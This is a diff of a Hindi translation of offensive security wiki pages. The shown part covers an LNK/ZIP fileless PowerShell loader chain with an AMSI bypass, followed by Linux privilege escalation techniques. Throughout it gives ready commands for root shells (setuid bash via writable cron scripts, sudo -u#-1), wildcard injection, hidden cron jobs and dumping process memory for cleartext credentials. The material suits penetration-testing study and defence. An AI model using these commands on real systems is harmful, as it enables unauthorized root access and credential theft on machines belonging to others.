certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory. +Highly effective campaigns एक ZIP deliver करती हैं जिसमें दो legitimate decoy documents (PDF/DOCX) और एक malicious .lnk होता है. चाल यह है कि वास्तविक PowerShell loader ZIP के raw bytes में एक unique marker के बाद stored होता है, और .lnk उसे carve करके पूरी तरह memory में run कर देता है। Typical flow implemented by the .lnk PowerShell one-liner: -1) सामान्य पथों में मूल ZIP का पता लगाएँ: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory. -2) ZIP bytes पढ़ें और एक hardcoded marker खोजें (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload. -3) ZIP को %ProgramData% में कॉपी करें, extract वहाँ करें, और वैध दिखने के लिए decoy .docx खोलें। -4) वर्तमान process के लिए AMSI बायपास करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) अगले चरण को deobfuscate करें (e.g., remove all # characters) और इसे memory में execute करें। +1) सामान्य paths में original ZIP locate करें: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, और current working directory का parent. +2) ZIP bytes पढ़ें और एक hardcoded marker (e.g., xFIQCV) खोजें. Marker के बाद जो कुछ भी है वह embedded PowerShell payload है. +3) ZIP को %ProgramData% में copy करें, वहां extract करें, और decoy .docx खोलें ताकि यह legitimate लगे. +4) वर्तमान process के लिए AMSI bypass करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) अगले stage को deobfuscate करें (उदा., सभी # characters हटाना) और इसे memory में execute करें. Example PowerShell skeleton to carve and run the embedded stage: ```powershell @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` नोट्स -- Delivery अक्सर प्रतिष्ठित PaaS सबडोमेन का दुरुपयोग करता है (e.g., *.herokuapp.com) और payloads को gate कर सकता है (IP/UA के आधार पर benign ZIPs परोस सकता है)। -- अगला चरण अक्सर base64/XOR shellcode को decrypt करता है और disk artifacts को कम करने के लिए इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है। +- Delivery अक्सर प्रतिष्ठित PaaS subdomains (उदा., *.herokuapp.com) का दुरुपयोग करता है और हो सकता है कि payloads को gate करे (IP/UA के आधार पर सुरक्षित ZIPs परोसे). +- अगला चरण अक्सर base64/XOR shellcode को decrypt करता है और इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है ताकि डिस्क पर निशान कम हों। -Persistence used in the same chain -- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या इसे embed करने वाला कोई भी app payload को स्वचालित रूप से फिर से लॉन्च कर दे। विवरण और तैयार-से-उपयोग कमांड यहाँ देखें: +समान चेन में प्रयुक्त Persistence +- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या कोई भी ऐप जो इसे embed करता है, payload को स्वचालित रूप से re-launch कर दे। यहां विवरण और ready-to-use commands देखें: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- ZIP फ़ाइलें जिनमें archive data के अंत में ASCII marker string (e.g., xFIQCV) appended होती है। -- .lnk जो parent/user फ़ोल्डरों को enumerate करके ZIP ढूंढता है और एक decoy document खोलता है। -- AMSI में छेड़छाड़ via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- लंबे समय तक चलने वाले business threads जो trusted PaaS domains पर host किए गए links के साथ समाप्त होते हैं। +- ZIP फ़ाइलें जिनमें archive data के अंत में ASCII marker string (उदा., xFIQCV) जुड़ी होती हैं। +- .lnk जो parent/user फ़ोल्डरों को सूचीबद्ध करके ZIP का पता लगाती है और एक decoy document खोलती है। +- AMSI tampering [System.Management.Automation.AmsiUtils]::amsiInitFailed के माध्यम से। +- लंबी चलने वाली business threads जो trusted PaaS domains पर होस्ट किए गए links के साथ समाप्त होती हैं। ## संदर्भ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 2db408058..c72b334d3 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS जानकारी -चल रहे OS के बारे में जानकारी एकत्र करना शुरू करते हैं। +आइए चल रहे OS की जानकारी हासिल करना शुरू करें। ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -यदि आप **`PATH` वेरिएबल के किसी भी फ़ोल्डर पर लिखने की अनुमति रखते हैं** तो आप कुछ libraries या binaries hijack कर सकते हैं: +यदि आपके पास **`PATH` वेरिएबल के किसी भी फ़ोल्डर पर write permissions** हैं, तो आप कुछ libraries या binaries को hijack कर सकते हैं: ```bash echo $PATH ``` ### Env जानकारी -क्या environment variables में कोई रोचक जानकारी, passwords या API keys हैं? +Environment variables में कोई दिलचस्प जानकारी, पासवर्ड या API keys हैं? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -कर्नेल संस्करण की जाँच करें और देखें कि क्या कोई ऐसा exploit है जिसका उपयोग करके आप escalate privileges कर सकें +Kernel version की जाँच करें और देखें कि कोई exploit है जिसे escalate privileges के लिए इस्तेमाल किया जा सके। ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -आप यहां एक अच्छी vulnerable kernel सूची और कुछ पहले से **compiled exploits** पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +यहाँ आप एक अच्छी vulnerable kernel list और कुछ पहले से ही **compiled exploits** पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -उस वेबसाइट से सभी vulnerable kernel versions निकालने के लिए आप निम्न कर सकते हैं: +उस वेब से सभी vulnerable kernel versions निकालने के लिए आप कर सकते हैं: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -नीचे दिए गए Tools kernel exploits खोजने में मदद कर सकते हैं: +Kernel exploits खोजने में मदद करने वाले उपकरण: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim पर चलाएँ, केवल kernel 2.x के लिए exploits की जाँच करता है) -हमेशा **Google में kernel version खोजें**, शायद आपका kernel version किसी kernel exploit में लिखा हुआ है और फिर आप सुनिश्चित हो जाएँगे कि यह exploit वैध है। +सदैव **kernel version को Google पर खोजें**, शायद आपका kernel version किसी kernel exploit में लिखा होगा और तब आप सुनिश्चित हो जाएंगे कि यह exploit वैध है। ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo संस्करण +### Sudo version -उन कमजोर sudo संस्करणों के आधार पर जो निम्न में दिखाई देते हैं: +उन असुरक्षित sudo संस्करणों के आधार पर जो निम्न में दिखाई देते हैं: ```bash searchsploit sudo ``` -आप इस grep का उपयोग करके जांच सकते हैं कि sudo संस्करण vulnerable है। +आप इस grep का उपयोग करके यह जांच सकते हैं कि sudo का संस्करण vulnerable है या नहीं। ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Dmesg सिग्नेचर सत्यापन विफल -देखें **smasher2 box of HTB** — यह इस vuln को कैसे exploit किया जा सकता है का एक **उदाहरण** है +देखें **smasher2 box of HTB** कि इस vuln को कैसे exploited किया जा सकता है इसका एक **example** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## संभावित सुरक्षा उपायों की सूची बनाएं +## संभावित सुरक्षा उपायों को सूचीबद्ध करें ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -यदि आप docker container के अंदर हैं तो आप इससे escape करने की कोशिश कर सकते हैं: - +यदि आप किसी docker container के अंदर हैं तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: {{#ref}} docker-security/ @@ -132,69 +131,69 @@ docker-security/ ## ड्राइव्स -जाँच करें **what is mounted and unmounted**, कहाँ और क्यों। अगर कुछ unmounted है तो आप उसे mount करके private info की जाँच कर सकते हैं। +जाँचें **क्या mounted और unmounted है**, कहाँ और क्यों। यदि कुछ भी unmounted है तो आप उसे mount करने की कोशिश कर सकते हैं और निजी जानकारी के लिए जाँच कर सकते हैं। ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## उपयोगी software +## उपयोगी सॉफ्टवेयर -उपयोगी binaries की सूची बनाएं +उपयोगी binaries को सूचीबद्ध करें ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -इसके अलावा, जाँच करें कि **any compiler is installed**. यह उपयोगी है अगर आपको कोई kernel exploit इस्तेमाल करना हो, क्योंकि अनुशंसा होती है कि आप इसे उस मशीन पर compile करें जहाँ आप इसका इस्तेमाल करने वाले हैं (या किसी समान मशीन में)। +इसके अलावा, जांचें कि **कोई compiler स्थापित है**। यह उपयोगी है अगर आपको किसी kernel exploit का उपयोग करना हो, क्योंकि यह अनुशंसित है कि आप इसे उसी मशीन पर compile करें जहाँ आप इसका उपयोग करने जा रहे हैं (या किसी समान मशीन पर)। ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### कमजोर सॉफ़्टवेयर स्थापित +### इंस्टॉल किए गए कमजोर सॉफ़्टवेयर -स्थापित पैकेज और सेवाओं के **संस्करण** की जाँच करें। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) हो जिसे escalating privileges के लिए exploited किया जा सकता है…\ -अनुशंसा की जाती है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण की मैन्युअल रूप से जाँच की जाए। +इंस्टॉल किए गए पैकेजों और सेवाओं के **संस्करण** की जाँच करें। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) हो जिसे escalating privileges के लिए exploited किया जा सके…\ +अनुशंसा की जाती है कि अधिक संदिग्ध इंस्टॉल किए गए सॉफ़्टवेयर के संस्करण को मैन्युअल रूप से जांचा जाए। ```bash dpkg -l #Debian rpm -qa #Centos ``` -अगर आपके पास मशीन तक SSH access है, तो आप मशीन में इंस्टॉल किए गए पुराने और कमजोर सॉफ़्टवेयर की जाँच करने के लिए **openVAS** का भी उपयोग कर सकते हैं। +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएँगे जो अधिकांशतः बेकार होगी, इसलिए OpenVAS या इसी तरह के किसी अनुप्रयोग की सलाह दी जाती है जो जाँच सके कि कोई इंस्टॉल किया गया सॉफ़्टवेयर संस्करण ज्ञात exploits के लिए vulnerable है_ +> [!NOTE] > _ध्यान दें कि ये कमांड्स बहुत सारी जानकारी दिखाएँगे जो अधिकांशतः बेकार होगी, इसलिए OpenVAS या इसी तरह के किसी एप्लिकेशन का उपयोग करने की सलाह दी जाती है जो यह जाँच सके कि कोई इंस्टॉल किया गया सॉफ़्टवेयर संस्करण ज्ञात exploits के लिए कमजोर तो नहीं है_ ## Processes -देखें कि **कौन से processes** चल रहे हैं और जाँचें कि कोई process **जरूरत से ज्यादा privileges** तो नहीं रखता (शायद tomcat root के द्वारा चल रहा हो?) +देखें कि **कौन से प्रोसेस** चलाए जा रहे हैं और जाँचें कि किसी प्रोसेस के पास उसकी अपेक्षा से **अधिक अधिकार** तो नहीं हैं (शायद कोई tomcat root द्वारा चल रहा हो?) ```bash ps aux ps -ef top -n 1 ``` -हमेशा संभव [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) की जाँच करें। **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -साथ ही अपने processes की binaries पर अपने privileges भी चेक करें — हो सकता है आप किसी की बाइनरी को overwrite कर सकें। +हमेशा संभावित [**electron/cef/chromium debuggers** चल रहे हैं, आप इन्हें अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं](electron-cef-chromium-debugger-abuse.md) की जाँच करें। **Linpeas** इनको process की command line में `--inspect` parameter चेक करके detect करता है।\ +साथ ही **process के binaries पर अपने privileges की जाँच करें**, हो सकता है आप किसी को overwrite कर सकें। -### प्रोसेस मॉनिटरिंग +### Process monitoring -आप processes को monitor करने के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे tools का उपयोग कर सकते हैं। यह उन vulnerable processes की पहचान करने में बहुत उपयोगी हो सकता है जो बार-बार execute होते हैं या जब कुछ requirements पूरी होती हैं। +आप प्रोसेस मॉनिटर करने के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे tools का उपयोग कर सकते हैं। यह अक्सर चलने वाले या जब कुछ शर्तें पूरी हों तब चलने वाले vulnerable processes की पहचान करने में बहुत उपयोगी हो सकता है। -### प्रोसेस मेमोरी +### Process memory -कुछ server services memory के अंदर **credentials in clear text inside the memory** सेव कर देती हैं।\ -सामान्यतः आपको उन processes की memory पढ़ने के लिए **root privileges** चाहिए जो दूसरे users के हैं; इसलिए यह आम तौर पर तब अधिक उपयोगी होता है जब आप पहले से root हों और और credentials खोजना चाहें।\ -हालाँकि, ध्यान रखें कि **एक सामान्य user के तौर पर आप उन processes की memory पढ़ सकते हैं जिनके आप owner हैं**। +कुछ सर्विसेज़ सर्वर की मेमोरी के अंदर **credentials in clear text** सेव कर देती हैं।\ +आम तौर पर आपको अन्य यूज़र्स के प्रोसेस की मेमोरी पढ़ने के लिए **root privileges** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही root हैं और अधिक credentials पता करना चाहते हैं।\ +हालाँकि, ध्यान रखें कि **एक सामान्य यूज़र के रूप में आप उन प्रोसेसों की मेमोरी पढ़ सकते हैं जिनके आप मालिक हैं**। > [!WARNING] -> ध्यान दें कि आजकल ज्यादातर machines **default रूप से ptrace की अनुमति नहीं देतीं** जिसका मतलब है कि आप अपने unprivileged user के अन्य processes को dump नहीं कर सकते। +> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं**, जिसका मतलब है कि आप अपने अनप्रिविलेज्ड यूज़र के अन्य प्रोसेस को डंप नहीं कर सकते। > -> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की accessibility को नियंत्रित करती है: +> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुँच नियंत्रित करती है: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: सभी प्रोसेस को debug किया जा सकता है, बशर्ते उनका uid समान हो। यह ptracing का पारंपरिक तरीका है। +> - **kernel.yama.ptrace_scope = 1**: केवल parent process को debug किया जा सकता है। +> - **kernel.yama.ptrace_scope = 2**: केवल admin ptrace का उपयोग कर सकता है, क्योंकि इसके लिए CAP_SYS_PTRACE capability की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 3**: ptrace से कोई भी प्रोसेस trace नहीं किया जा सकता। एक बार सेट करने के बाद ptracing को पुनः सक्षम करने के लिए reboot की आवश्यकता होती है। #### GDB -यदि आपके पास किसी FTP service की memory तक access है (उदाहरण के लिए), तो आप Heap निकालकर इसके अंदर के credentials खोज सकते हैं। +यदि आपके पास किसी FTP सेवा की मेमोरी तक पहुँच है (उदाहरण के लिए), तो आप Heap प्राप्त कर सकते हैं और उसके अंदर मौजूद credentials खोज सकते हैं। ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. +किसी दिए हुए process ID के लिए, **maps दिखाती हैं कि memory उस process के virtual address space में कैसे mapped है**; यह प्रत्येक mapped region की **permissions** भी दिखाती है। **mem** pseudo file **process की memory को स्वयं एक्सपोज़ करता है**। **maps** file से हमें पता चलता है कि कौन से **memory regions readable** हैं और उनके offsets क्या हैं। हम इन जानकारियों का उपयोग करके **mem file में seek करके सभी readable regions को एक file में dump करते हैं**। ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच प्रदान करता है, न कि वर्चुअल मेमोरी। kernel का वर्चुअल address space /dev/kmem का उपयोग करके एक्सेस किया जा सकता है.\ -सामान्यतः, `/dev/mem` केवल **root** और **kmem** group द्वारा पढ़ा जा सकता है. +`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुंच प्रदान करता है, न कि वर्चुअल मेमोरी तक। कर्नेल के वर्चुअल एड्रेस स्पेस तक पहुंच /dev/kmem का उपयोग करके की जा सकती है.\ +आमतौर पर, `/dev/mem` केवल **root** और **kmem** समूह द्वारा ही पढ़ा जा सकता है। ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump के लिए linux +### ProcDump for linux -ProcDump Windows के Sysinternals suite के classic ProcDump tool का Linux के लिए पुनर्कल्पना है। इसे प्राप्त करें: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump Windows के लिए Sysinternals suite के क्लासिक ProcDump टूल का Linux के लिए पुनर्कल्पना है। इसे यहाँ प्राप्त करें: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,31 +266,31 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### उपकरण -process memory को dump करने के लिए आप इनका उपयोग कर सकते हैं: +किसी process की memory को dump करने के लिए आप निम्न का उपयोग कर सकते हैं: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से root आवश्यकताओं को हटाकर अपने स्वामित्व वाले process को dump कर सकते हैं +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअली root आवश्यकताओं को हटाकर उस process को dump कर सकते हैं जिसका मालिक आप हैं - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root आवश्यक है) ### Process Memory से Credentials #### मैनुअल उदाहरण -यदि आप पाते हैं कि authenticator process चल रही है: +यदि आप पाते हैं कि authenticator process चल रहा है: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -आप process को dump कर सकते हैं (पहले के अनुभाग देखें ताकि किसी process की memory को dump करने के विभिन्न तरीके मिल सकें) और memory के अंदर credentials खोजें: +आप process को dump कर सकते हैं (पहले के सेक्शन्स देखें ताकि process की memory dump करने के विभिन्न तरीके मिलें) और memory के अंदर credentials खोज सकते हैं: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -यह टूल [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) memory से और कुछ well known files से clear text credentials चुराएगा। इसे सही रूप से काम करने के लिए root privileges की आवश्यकता होती है। +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) मेमोरी से **सादा टेक्स्ट क्रेडेंशियल्स चुराएगा** और कुछ **जानी-मानी फ़ाइलों** से भी। इसे ठीक से काम करने के लिए रूट विशेषाधिकार (root privileges) चाहिए। -| फीचर | प्रोसेस का नाम | +| विशेषता | प्रोसेस नाम | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +299,7 @@ strings *.dump | grep -i password | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### खोज Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,125 +313,125 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## अनुसूचित/Cron jobs -जाँच करें कि कोई भी scheduled/Cron job vulnerable है या नहीं। शायद आप उस script का फायदा उठा सकें जो root द्वारा execute होती है (wildcard vuln? root द्वारा उपयोग की जाने वाली फ़ाइलों को modify कर सकते हैं? symlinks का उपयोग? root द्वारा उपयोग की जाने वाली डायरेक्टरी में specific फ़ाइलें बना सकते हैं?). +जाँचें कि कोई भी अनुसूचित job कमजोर तो नहीं है। शायद आप उस script का फायदा उठा सकें जो root द्वारा executed होती है (wildcard vuln? root द्वारा उपयोग की जाने वाली files को modify कर सकते हैं? symlinks का उपयोग करें? root द्वारा उपयोग की जाने वाले directory में specific files बनाएं?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron पथ उदाहरण के लिए, _/etc/crontab_ के अंदर आप PATH पा सकते हैं: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने की अनुमतियाँ हैं_) +(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने की अनुमति है_) -यदि इस crontab के भीतर root उपयोगकर्ता बिना PATH सेट किए कोई कमांड या स्क्रिप्ट चलाने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ +यदि इस crontab में root PATH सेट किए बिना किसी कमांड या स्क्रिप्ट को चलाने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ तब, आप निम्नलिखित का उपयोग करके root shell प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron द्वारा एक script में wildcard के साथ उपयोग (Wildcard Injection) +### Cron एक script के साथ wildcard का उपयोग करते हुए (Wildcard Injection) -यदि root द्वारा चलाया गया कोई script किसी command के अंदर “**\***” रखता है, तो आप इसे unexpected चीज़ें (जैसे privesc) करने के लिए exploit कर सकते हैं। उदाहरण: +यदि कोई script root द्वारा execute किया जाता है और command के अंदर “**\***” है, तो आप इसे exploit करके अनपेक्षित चीजें कर सकते हैं (जैसे privesc). उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**यदि wildcard किसी path जैसे** _**/some/path/\***_ **के पहले आता है, तो यह vulnerable नहीं है (यहाँ तक कि** _**./\***_ **भी नहीं)।** +**यदि wildcard किसी path जैसे** _**/some/path/\***_ **से पहले हो, तो यह vulnerable नहीं है (यहाँ तक कि** _**./\***_ **भी नहीं)।** -अधिक wildcard exploitation tricks के लिए निम्नलिखित पृष्ठ पढ़ें: +अधिक wildcard exploitation tricks के लिए निम्नलिखित पेज पढ़ें: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script को ओवरराइट करना और symlink +### Cron script overwriting and symlink -यदि आप **cron script को संशोधित कर सकते हैं** जो root द्वारा execute किया जाता है, तो आप बहुत आसानी से shell प्राप्त कर सकते हैं: +यदि आप **cron script को modify कर सकते हैं** जो root द्वारा executed होता है, तो आप बहुत आसानी से एक shell प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -यदि root द्वारा चलाया गया script किसी ऐसे **directory where you have full access** का उपयोग करता है, तो उस folder को हटाकर और उसकी जगह किसी दूसरे स्थान पर एक **symlink folder to another one** बना कर जहाँ आपका नियंत्रित script serve करे, यह उपयोगी हो सकता है। +यदि root द्वारा execute किया गया script किसी **directory where you have full access** का उपयोग करता है, तो उस folder को delete करना और एक **create a symlink folder to another one** बनाकर उस पर आपकी नियंत्रित script चलाना उपयोगी हो सकता है। ```bash ln -d -s ``` -### बार-बार होने वाले cron jobs +### बार-बार चलने वाले cron jobs -आप processes की निगरानी कर सकते हैं ताकि उन processes को खोजा जा सके जो हर 1, 2 या 5 मिनट पर चलाए जा रहे हों। शायद आप इसका फायदा उठाकर privileges escalate कर सकें। +आप उन processes की निगरानी कर सकते हैं जो हर 1, 2 या 5 मिनट पर चल रही होती हैं। शायद आप इसका फायदा उठाकर escalate privileges कर सकें। -उदाहरण के लिए, **monitor every 0.1s during 1 minute**, **sort by less executed commands** और सबसे अधिक executed हुए commands को delete करने के लिए, आप निम्न कर सकते हैं: +उदाहरण के लिए, **1 मिनट के दौरान हर 0.1s पर निगरानी करने** के लिए, **कम निष्पादित किए गए कमांड्स के अनुसार sort करने** और सबसे अधिक निष्पादित किए गए कमांड्स को हटाने के लिए, आप कर सकते हैं: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**आप निम्न का भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर शुरू हुए process को मॉनिटर करेगा और सूचीबद्ध करेगा)। +**आप भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर शुरू होने वाली process को मॉनिटर करेगा और सूचीबद्ध करेगा). ### अदृश्य cron jobs -यह संभव है कि एक cronjob **टिप्पणी के बाद carriage return रखने** से बनाया जा सके (newline character के बिना), और cron job काम करेगा। उदाहरण (carriage return char पर ध्यान दें): +यह संभव है कि एक cronjob बनाया जाए **comment के बाद carriage return डालकर** (newline character के बिना), और cron job काम करेगा। उदाहरण (ध्यान दें carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## सेवाएँ +## सेवाएं ### लिखने योग्य _.service_ फाइलें -जाँचें कि क्या आप किसी भी `.service` फ़ाइल को लिख सकते हैं, अगर कर सकते हैं, तो आप **इसे संशोधित कर सकते हैं** ताकि यह **निष्पादित करे** आपकी **backdoor जब** सेवा **शुरू**, **रीस्टार्ट** या **रोक** की जाए (शायद आपको 